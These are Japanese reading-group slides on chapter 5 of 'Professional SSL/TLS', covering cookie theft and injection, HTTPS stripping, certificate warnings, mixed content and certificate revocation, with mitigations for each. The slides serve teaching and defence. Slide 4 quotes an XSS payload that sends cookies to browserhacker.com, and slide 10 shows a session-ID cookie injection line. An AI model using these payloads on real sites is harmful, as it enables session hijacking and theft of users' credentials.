Upgrade to Pro — share decks privately, control downloads, hide ads and more …

『プロフェッショナルSSL/TLS』読書会 第2章 資料

sura
August 18, 2017

『プロフェッショナルSSL/TLS』読書会 第2章 資料

sura

August 18, 2017
Tweet

Other Decks in Technology

Transcript

  1. 第5章 HTTPおよびブラウザの問題 プロフェッショナルSSL/TLS読書会 2017/8/18(Fri) Shinjiro Urata (@sura)

  2. • 5.1 【済】 • 5.2 【済】 • 5.3 【済】 •

    5.4 【済】 • 5.5 【済】 • 5.6 【済】 • 5.7 【済】 • 5.8 【済】 • 5.9 【済】 • 5.10 【中】
  3. • 【確認】サイドジャッキングとは • (暗号化されていないトラフィックから) SessionIDを盗み Webアプリの セッションを横取りする • (似た(?)ワード:サイドチャネル攻撃=解読時の漏洩電磁波、解読に掛 る時間、圧縮率など暗号自体ではなく間接的な情報を手掛かりにする攻

    撃) • httpの場合 => トラフィックを見てSessionIDを見つけるだけ • httpsの場合 =>ミスにつけ込むことが必要 • 設計上のセッション漏れ • パスワード認証時のみhttpsで保護するサイトがある • 認証後はhttpに戻るので、そこで平文のSessionIDを盗める • ミスによるセッション漏れ • サイト全体がhttpsで保護されていても、一部のリソースをhttpで取得 している場合(=mixed contentのケース =>Ch5.8参照) => そのhttpリクエストで転送される平文のクッキーからSessionIDを 盗める (#SessionIDは多くの場合Cookieに、その他リクエストパス、パラ メータに格納する) • サイト全体をTLSで正しく保護してあれば、上記の攻撃は使えない 5.1 サイドジャッキング
  4. • サイト全体がhttps(tls)で保護してあれば、クッキーは盗まれな い? • =>攻撃者がhttpsでなくhttpを使わせる手段を見つければクッ キーを盗める • =>事例は次ページ • 対策:httpsで使用するクッキーにはSecure属性を付けること!

    • 【確認】 Secure属性とは • Secure属性を付ける => • httpsのリクエストでしか送付されない • httpの場合は送信されない • もう一つの事例:XSS で document.cookieを使用 • (「ブラウザハック」p387より) • 対策:HttpOnly属性を付ける 5.2 クッキー窃取 <script>document.location.href=“browserhacker.com/cookies?c=‘+document.cookie</script>
  5. 5.2 クッキー窃取 サーバがhttpsしか受け付 けない場合、 http://xxx:443 でポート443 宛てに平文のリクエスト を送らせ、平文のクッ キーを盗む

  6. • クッキーがSecure属性付きで、のぞき見ができない場合は? • => 新しいクッキーで上書き、既存のクッキーの削除など可能 • 5.3.1 HTTPクッキーの基礎 • Webサイトに関する小さなデータをブラウザで保持する仕組み

    5.3 クッキーを書き換える攻撃 (1)
  7. 5.3.1 HTTPクッキーの基礎(つづき) • サーバからのhttpレスポンス内の Set-Cookieヘッダで、クライア ントにクッキーを生成、保存させる • 名前と値の組、存続期間、など • Secure属性:HTTPSの場合のみCookieが送信される

    • HttpOnly 属性:JavaScriptからCookieを見れなくする • 通常は「document.cookie」で見れる • 参考:プロキシによるHttpOnlyのバイパス(「ブラウザハック」 p388) • ブラウザにXSSでJavaScriptによるプロキシを埋め込む • プロキシにhttp requestを行わせればCookieが付加されるので Cookieを盗み見する必要がない • ブラウザ内のクッキーが保管される場所=CookieJar • 容量に制限がある 5.3 クッキーを書き換える攻撃 (2) Set-Cookie: SID=31d4d96e407aad42; Domain=www.example.com; Path=/; Secure; HttpOnly Set-Cookie: lang=en-US; Expires=Wed, 09 Jun 2021 10:18:14 GMT
  8. • 5.3.1 HTTPクッキーの基礎 • クッキーの問題点 大きく2点 ①設計上セキュリティを弱める ②SOP(同一生成源ポリシー)と相性が悪い 具体的には。。 •

    ホスト名のスコープが緩い • プロトコル(http/https)、ポート番号またいで共有 • あるドメイン名の全ホストで共有される 例)example.comのクッキー => www.example.com、secure.example.com でも使われる • =>ゆるい • SOPではオリジン(プロトコル、ドメイン、ポート)毎に区別して管理 • サーバがメタデータをみられない • クッキーの名前とデータしか判らない。自分が発行したクッキーか確認できない • 安全なクッキーにおける同一性の欠如 (http/httpsでクッキーが区別されない) • クッキーはドメイン名で管理。http / https で区別しない。 • Secure属性ありクッキー、なしクッキーどちらも同じドメイン名で保存 • httpsで保存した NAME=tanaka というクッキーを httpで NAME=suzukiで上書き できる 5.3 クッキーを書き換える攻撃 (3)
  9. • 5.3.2 クッキー書換え攻撃 以下の3種類 • ①クッキー排除攻撃(Cookie Eviction) • ブラウザのCookieJarは以下の制限あり •

    個々のCookieサイズ、ドメインあたりのCookieサイズ、総サイズ • ダミーの巨大なクッキーを送信 • => Cookie Jarあふれ。既存の他のCookieが消される • ②クッキー注入攻撃 • 攻撃者がCookieを注入。httpsで生成したCookieをhttpで生成した 同名のCookieで上書き • クッキー窃取と同じシナリオ 5.3 クッキーを書き換える攻撃 (4)
  10. • 5.3.2 クッキー書換え攻撃 以下の3種類 • ③親戚サブドメインからのクッキー注入 • 親戚関係のサブドメインではクッキー共有される • 先頭のクッキーになる(するには)

    • 普通に同名クッキーを注入すると、先頭にならない。同名クッキーが 複数あった場合、先頭しか認識されない • Path属性を付加して、より特定的なクッキーにすると先頭で送信され る • 親戚関係にあるサブドメインをつかってクッキーを上書き • 親戚関係にあるサブドメインをつかってクッキーを捏造 5.3 クッキーを書き換える攻撃 (X) Cookie: SESS_ID=REAL_ID; SESS_ID=FORCED_ID //普通は後ろになる document.cookie = ‘SESS_ID=2ND_FORCED_ID; domain=example.com; path=/admin //path付加 Cookie: SESS_ID=2ND_FORCED_ID; REAL_ID; FORCED_ID //先頭で送付される。
  11. • 5.3.3 影響 クッキー書換攻撃の影響は? 多くのWebサイトは攻撃者はクッキーを見れない前提で設計 • XSS • クッキー書き換え不可前提で開発=>クッキーを安全でない方法で使用の可能性 •

    クッキーをそのままHTMLで送信 => クッキーの漏洩がXSS脆弱性につながる • 【TODO:シナリオがよく分からない】 • CSRF対策の迂回 • 「Webページにトークンを埋め込み、クッキー情報と一致するか確認」というCSRF 対策(一般的)=CSRF対策トークン • クッキーが書換られると、トークンと一致しなくなる • アプリケーションの状態の変化 • クッキーを安全なストレージと勘違いしてサイトを開発 • 管理者であれば “admin=1” というクッキーを持つ、とか • クッキーを書きかえられたら、管理者になりすませる • セッション固定化(Session Fixation) • 通常のセッション窃取:他人のSessionIDを盗む • セッション固定化:自分がWebサイトにアクセスしてSessionIDを取得。他人に自 分のSessionIDを使わせる • URLにSessionIDを持つサイトなら、URLを踏ませることで可能 • SessionIDをクッキーに持つサイトでも、クッキー書換で可能 • =>犠牲者がログイン後、攻撃者は同じSessionIDで同じセッションにアクセスできる。 5.3 クッキーを書き換える攻撃 (5)
  12. • 5.3.4 緩和策 • サブドメインを網羅したHSTSを採用 • HSTSで全サブドメインの暗号化を強制できる • カバーできない点もある(HSTS未サポートのブラウザなど) •

    クッキーの完全性検証 • 完全性の検証とは: クライアントから受け取ったCookieが自分の Webサイトで発行したものか確認すること • HMAC(Hash-based message Authentication Code) でできる • 【TODO:事例は?】 5.3 クッキーを書き換える攻撃 (6)
  13. • 【参考】 • Cookie Monster (Cross Domain Cookie Injection) •

    ブラウザのバグなど(古いIEなど)により、任意のセカンドレベルド メイン(co.jpなど)に対しCookieを発行することで、このセカンドレ ベルドメインを含む攻撃対象サイトに対して強制的にCookieを設定 する攻撃。 • domain=jp //TLDは不可 • Domain=tokyo.jp //古いIEではセカンドレベルはものにより出来た • SESSID=xxxx というcookieを作成 => *.tokyo.jp ドメインに有効 5.3 クッキーを書き換える攻撃 (6)
  14. • 中間者攻撃の一種 • 最初に httpでアクセス、そのあとhttpsに移行する場合が多い。 • ページ内の https を中間者が httpに書き換える

    • ツール:sslstrip 5.4 HTTPSストリッピング
  15. • HTTPSストリッピングがうまくいかない場合=ユーザーが鍵マーク、緑のEV 証明書マークに気づく場合もある。 =>そのような場合でも可能な攻撃方法は? • 検証フローの裏をかく • クライアントがクレデンシャルを正しく検証してない場合 =>有効に見える不正な証明書、証明書チェーンを使えてしまう •

    不正な証明書 • =クライアントが本物と間違える詐称した証明書。入手には? • 弱いCA証明書の1024bitの秘密鍵を総当たりで破って作成など • 不正な証明書を失効させられる? => 事実上難しい【TODO:なぜ?】 • OCSPによる失効確認にMITM攻撃組み合わせ • 多くのブラウザはOCSP失敗を無視する • 自己署名証明書 • 大部分のフィールドを本物からコピーした自己証明書を使用 =>警告でるが、ユーザーの多くは無視してしまう • 【TODO:章タイトルのMITM証明書とは?】 5.5 MITM証明書
  16. 不正な証明書が多すぎ、警告が出過ぎる =>不正な証明書のサイト多いがブラウザベンダーは閲覧禁止にしたくない =>ベンダーの方針「警告を表示して、ユーザの判断にまかせる」 • 5.6.1 なぜ不正な証明書がそんなに多いのか • 仮想ホストの設定ミス • 平文(http)のサイトを

    httpsのサイトと同じIPアドレスで運用してしまう。 =>平文サイトにポート443でアクセスするとhttpsサイトに導かれるが 証明書がホスト名と一致しない • 本来は httpのサイトは、ポート443が閉じたIPアドレスで運用するべき • 名前が全て網羅されていない • 購入、配置した証明書に、必要なホスト名を書きもらしている • www.example.com でホストしているなら、example.com も必要、など • 自己署名証明書とプライベートCA • 一般に公開すべきものではない(MITMで使われる証明書と区別できない) • なぜ利用する人が多い? • 証明書の購入、設定、更新が大変 • 数年前まで証明書は高価だった • 証明書は無料であるべきと思う人がいて、導入を拒否というケースも 5.6 証明書の警告(1)
  17. • 5.6.1 なぜ不正な証明書がそんなに多いのか(つづき) • アプライアンス製品で使われている証明書 • Webベースの管理コンソールが多い • 出荷時には、利用環境のホスト名、IPは判らない=>証明書入りで出荷 できない

    • 理想は、エンドユーザが証明書をインストール=>やってられない • 期限切れ証明書 • 不正証明書の57%はこれ。更新忘れ or 更新を諦めたが古い証明書が 残っている • 設定ミス • 証明書チェーンがルート証明書に到達できない • 5.6.2 証明書の警告の効果 • 多くのユーザーはクリックしてやり過ごす • 警告の表示形式によって効果が上がる(FFが最も良く、33%が先に進ま なかった) 5.6 証明書の警告(2)
  18. • 5.6.3 やり過ごせる警告でなく例外を挙げる • FFはやり過ごせる警告を採用してない唯一のブラウザ • 警告でなく例外 => 不正な証明書でも例外的に利用可とする •

    以降は警告が表示されない • 利用者が、どの場合例外を認めてもよいか、理解していれば有効 • 自己署名証明書が簡単に利用できてしまう=>一概に悪くはない • 自宅のADSLルータに自己署名証明書を利用、くらいなら問題ない • 5.6.4 緩和策 • 正当な証明書を使用、サーバを万全な状態にすること • HSTSに対応する • HSTSの機能で警告を抑制できる => 警告でなく切断(HardFail) 5.6 証明書の警告(3)
  19. • 南京錠マーク: • 昔はSSLの保護(暗号化されている)を示すことに使われた • 今はより一般的なセキュリティインジケータとして使用され、意味が薄 まった • EV証明書: •

    「緑色はEV証明書を表す」は広く一貫して使用される唯一のインジケー タ • モバイルブラウザ: • 画面が狭いのでセキュリティインジケータが省略される場合もある • ネイティブのモバイルアプリ: • そもそも決まったインジケータが無い • 一番の問題=「ユーザがインジケータを気にしてない」 =>インジケータでなく、表示不可にすればセキュリティ高まる =>ブラウザベンダーはブラウザの評判を落とすのでやりたくない 5.7 セキュリティインジケーター
  20. • TLSは単一の接続を保護する仕組み。 • HTTP(S)では、メインhtmlの他に複数のリソースを読み込む => 複数の接続が発生。保護のためには、すべてをHTTPSで ロードすることが必要。一部 HTTPなら混在コンテンツとなる。 • =>HTTP通信部分から

    Cookie 流出の可能性(secure属性で対 策可) • 5.8.1 (混在コンテンツが多い)根本的な原因 • パフォーマンス: HTTPSの処理が重い(特に昔は)。リソース取 得に時間がかかるため、サブリソースをHTTPにしがちだった。 • マッシュアップ: 様々な出所のコンテンツを混ぜてリッチなエ クスペリエンスを提供。3rdパーティのJSを多数組み込むことにな り、セキュリティはその3rdパーティにまかせるしかない。 Google AdSenseでさえ、2013/9までは HTTPだった。 • インフラコスト: 高レスポンスのためCDNを利用。仮想ホスト ではHTTPSが利用できない場合が多い。HTTPSの使えるCDNは 限られるのでHTTPになりがち。 5.8 混在コンテンツ (1/3)
  21. • 5.8.2 (混在コンテンツが及ぼす)影響 • 能動的混在コンテンツ: HTML、JSなど • 危険度高い。httpでJSが送付される=>JSファイル書換=>ページ全 体をコントロール •

    受動的混在コンテンツ: 画像などリスク低めのリソース • 危険度低いが、画像をスクリプトとして処理する場合がある(コンテ ンツスニッフィング)【TODO:具体的には?】 • 同ホスト名で HTTPのサイトがある場合 => Cookieがさらされる • 5.8.3 ブラウザでの対処 • 近年になってブラウザが混在コンテンツを制限(2015/3時点) 5.8 混在コンテンツ (2/3)
  22. • 5.8.5 混在コンテンツの広がり : たくさんある • 5.8.5 緩和策 サイトを正しく実装すれば問題にならない =>「正しくと」は?

    => 「混在コンテンツ状況を発生させない」の意味? 問題あるサイトでも、以下の方法で対処可能 • HSTS(HTTP Strict Transport Security) • 以下のようなミスがあっても。。 • HTTPSサイトに ポート80でアクセス • HTTPSページに HTTPリンクを配置 =>強制的にHTTPSでリソースを取得させる。 #(サブリソース取得先が)外部サイトだとカバーできない • CSP(Content Security Policy) • コンテンツのロード先を制限できる • Content-Security-Policy: default-src https: => サブリソースのロードを先を https のホストに限る 5.8 混在コンテンツ (3/3)
  23. • CA/Browser Forumが規定。EV = Extended Validation • 個人は取得不可 • DV証明書=メールによる検証のみ

    • 利点 • ドメイン所有者の本人性確認、識別子が証明書にエンコードされ る • 検証手順が手動のため証明書の捏造が困難 • ただし。。 • 普通のユーザはインジケーターがEV証明書かDV証明書か気づい てない • 詐称されたDV証明書による攻撃の場合、ユーザが、「いつもEV 証明書なのにDVになっている」と気づくことが必要 5.9 EV証明書 (1/2)
  24. • EV証明書を持つサイトでも、サブリソースがDV証明書の場合も ある。=>詐称されたDV証明書が利用される余地あり • シナリオ • 他ドメイン名のサイトのリソースを利用:EVサイトの内でDVの 外部ホストのリソースを利用(普通にある)詐称したDV証明書に より横取りできる •

    クッキー泥棒:詐称したDV証明書でメインのドメイン名への接続 を横取り、既存のクッキーを盗む、クッキーを書き変えてしまう 【TODO:確認】 • 永続的マルウェア注入:キャッシュの利用を強要(リソースの更 新無しとしてブラウザをだます)、注入されたマルウェアがブラ ウザのファイルキャッシュに残り長時間影響を与える【TODO: 確認】 5.9 EV証明書(2/2)
  25. 【概要】 • 理想的には、httpsを利用する度に 証明書の失効を確認したい =>そうはなっていない • 失効機能の実現方法 • CRL •

    OCSP • 一般的に失効の仕組み(CRL、OCSP)はうまく機能しないとみなされ ている(p75) • 失効情報の波及に時間がかかる • ブラウザのSoft Fail ポリシー(失効情報が取得に失敗 =>証明書有効の 扱い) • 今のブラウザの主流(p76): • Google(CRLSets)、Mozilla(OneCRL)等の自前の仕組みで失効確認 • それ以外は失効確認なしで済ませる (CRL, OCSPの使用は部分的) • 今後 • 「CRLSets、OneCRLのような仕組み」+「OCSP Must-Staple(後述)」 である程度セキュリティが確保されるのでは 5.10 証明書の失効 (1)
  26. • 5.10.1 クライアントの対応が不十分 • 各ブラウザがどんなタイミングで失効確認しているか不明 • ドキュメント化されてない。実験してみないと判らない • 多くのブラウザでCRLが使われて無かった(確認するまで判らなかっ た)

    • ブラウザ以外では、多くのライブラリがデフォルトでは失効確認 しない • 2011年のCA証明書危殆化の時 • => 失効の唯一の確実な手段=ブラックリストだった • CRL、OCSPでは確実ではない。 • Chrome, FF, MSもブラックリストの更新で対応した 5.10 証明書の失効 (2)
  27. • 5.10.2 失効確認の標準化に伴う主な問題 • CRL、OCSPには設計上の問題点がある • 証明書と問い合わせの分断 • 特殊なシリアル番号で証明書を参照 •

    シリアル番号はCAが勝手に決める • => シリアル番号で証明書が一意に決まらない可能性あり • ホワイトリストでなくブラックリスト • ブラックリスト:失効したか確認。確認失敗なら有効と同じ扱い • ホワイトリスト:有効な証明書か確認。確認失敗なら失効扱い =>情報がなければ有効と判断されてしまう =>Diginotar:不正な証明書の記録がなかった=> 失効できなかった =>ルート証明書がブラウザから削除 • プライバシー • 失効情報をCAから取得 = 自分が閲覧しているサイトをCAに知らせ ることになる • =>OCSPステープリングの導入で対応すべき 5.10 証明書の失効(3)
  28. • 5.10.3 CRL (Certificate Revocation List) 失効した証明書のリストをDLできる。DL先は証明書内に記載。 =>インターネット初期はこれでも使えた =>CRLが大きくなるとDL、検索時間がかかる =>リアルタイム確認用にOCSPが作られた

    5.10 証明書の失効(4)
  29. • 5.10.3 CRL (Certificate Revocation List) CRLの長さに伴う問題 • 時間がたつとCRLが大きくなる。時間がかかる。パケットを消費。 •

    クライアントにおけるCRLの対応 • 「CRLがクライアントで十分サポート=未だかつてない」 • ChromeはEV証明書の場合OCSPで確認できなかったらCRL参照 • FFは、今はEV証明書でもCRLを見ない。 • CRLの新鮮さ • CRLが長期にわたって新鮮(=有効)と扱われる 5.10 証明書の失効(5)
  30. • 5.10.4 OCSP • 【確認】OCSP とは: • 証明書の失効をサーバに確認 • CRLのような大きなファイルでなく、

    知りたい証明書の失効情報だけで軽量 • シリアル番号で問い合わせ • レスポンダの場所=証明書内に記載 5.10 証明書の失効(6) ※図表お借りしました: https://www.ipa.go.jp/security/pki/043.html
  31. • 5.10.4 OCSP • 【確認】 OCSP の問題点: • レスポンダが遅いとWeb表示が遅くなる。(高レスポンスのレスポンダを世界中に配 置するのはCAにとって高コスト)

    • レスポンダが落ちると失効証明書でも有効扱い(SoftFailの場合) • レスポンダが落ちるとWebページ閲覧できない(HardFailの場合) • レスポンダへのリクエストから、自分が閲覧するWebページの情報が漏れる =>対策として、OCSP ステープリング • 【確認】OCSP ステープリングとは: • 各Webサーバが OCSPリクエストして、レスポンスをキャッシュしておく • ブラウザからのhttpsリクエストに対して、Webサーバはサーバ証明書にOCSPレス ポンスを合わせて送り返す 5.10 証明書の失効(7)
  32. • 5.10.4 OCSP • 【確認】 OCSP ステープリングの問題点: • ステープルされたOCSP情報がなくてもWebページ閲覧できる(SoftFailの場合) •

    TODO:追加 =>対策として、OCSP Must-Staple • 【確認】OCSP Must-Stapleとは: • OCSPステープリングを必須にする。実現方式の案は2つ: • A)新しいTLS拡張機能を利用 • B)WebサイトがHTTPレスポンスヘッダでOCSPステープリング必須であることを告知 • Firefox45で実装された(A案) http://mozsec-jp.hatenablog.jp/entry/2015/11/24/171255 • TLS拡張(rfc7633)を利用 • CAが証明書に拡張機能を追加しておく • 証明書にこの拡張があったらブラウザは、TLSハンドシェイク内にOCSPレスポンスがある か確認 • なければ通信を遮断してエラー表示(ハードフェイル) 5.10 証明書の失効(8)
  33. • 5.10.4 OCSP OCSPの課題 • OCSPリプレイ攻撃 • オリジナルのOCSPはワンタイムトークン(ナンス)を使用しており、 リプレイ攻撃に脆弱ではない •

    「軽量OCSPプロファイル」ではナンスなし、OCSPをキャッシュし て使いまわす => リプレイに脆弱 • 今では、クライアントはナンスを使おうとせず、サーバーもナンス が付加されていても無視 • リプレイには有効期限で対抗するしかない。=>有効期限内ならリプ レイ攻撃に利用できてしまう。 • OCSPレスポンスの隠蔽 • ブラウザはOCSPが失敗したら無視して処理を続行する • 攻撃者はOCSPリクエストを全部強制的に失敗させる => 無効な証 明書でも、ブラウザは有効なものとして扱う 5.10 証明書の失効(9)
  34. • 5.10.4 OCSP • クライアントにおけるOCSP対応 • 古いブラウザはOCSP不使用 or デフォルト不使用 •

    モダンブラウザは? • iOS:EV証明書にしか使わない • Chrome:2012年にOCSP利用を打ち切り • CRLSetsという軽量の仕組みに切り替え。 • CRLSetsとは:各認証局のCRLをまとめて軽量化した情報を Googleからプッシュする。ローカル確認できるので高速。 ただし、一部の重要な失効情報しか扱わない。 • Mozilla:OneCRLという仕組みを導入(CRLSetsと類似) OneCRLの記事:https://japan.zdnet.com/article/35052149/ • 大部分のブラウザはOCSPを試しても、成功した場合は正しく対応 するが、失敗したら無視する(ソフトフェイル) 5.10 証明書の失効(10)
  35. • 5.10.4 OCSP • レスポンダの可用性とパフォーマンス OCSP初期の不具合のためブラウザベンダはソフトフェイルにし た。ハードフェイルにしてブラウザの評判を下げたくない 問題点は: • 可用性

    • CAのOCSPレスポンダが落ちると、Webサイトのパフォーマンスが落 ちる。ハードフェイルならサイトを閲覧できなくなる • パフォーマンス • ブラウザの負担が大きい。レスポンダが遅いとWeb接続に時間がかか る。 • 高パフォーマンスのOCSPレスポンダ=世界中にネットワークが必要 • 正確性 • CAがOCSPレスポンダの失効情報を正しくメンテしてない場合がある • =>OCSPについては OCSPステープリングの普及が、 ありうる改善の方向 5.10 証明書の失効(11)
  36. • 5.10.4 OCSP • OCSPステープリングを必須にする OCSP Must-Staple • OCSP Must-Stapleとは:

    • OCSPステープリングが必須になる=> • 証明書の盗用 = 攻撃者が、証明書を有効なOCSPレスポンスと一緒に 配布できることが必要 => OCSPレスポンスは有効期間が短い • OCSP Must-Stapleの実現方法は? • ①OCSPレスポンスと同時配布用の新しいタイプの証明書を定義 • ②WebサイトがHTTPレスポンスヘッダで、OCSPステープリングが必 要だと告知する => これはHSTSの拡張として定義するのがよさそうと考えられてい る 5.10 証明書の失効(12)
  37. None
  38. None
  39. 色例 • 企画ポイントやアピールポイントを入力しましょう • 企画アピールポイントを入力しましょう • 企画アピールポイントを入力しましょう 要約まとめを入力しましょう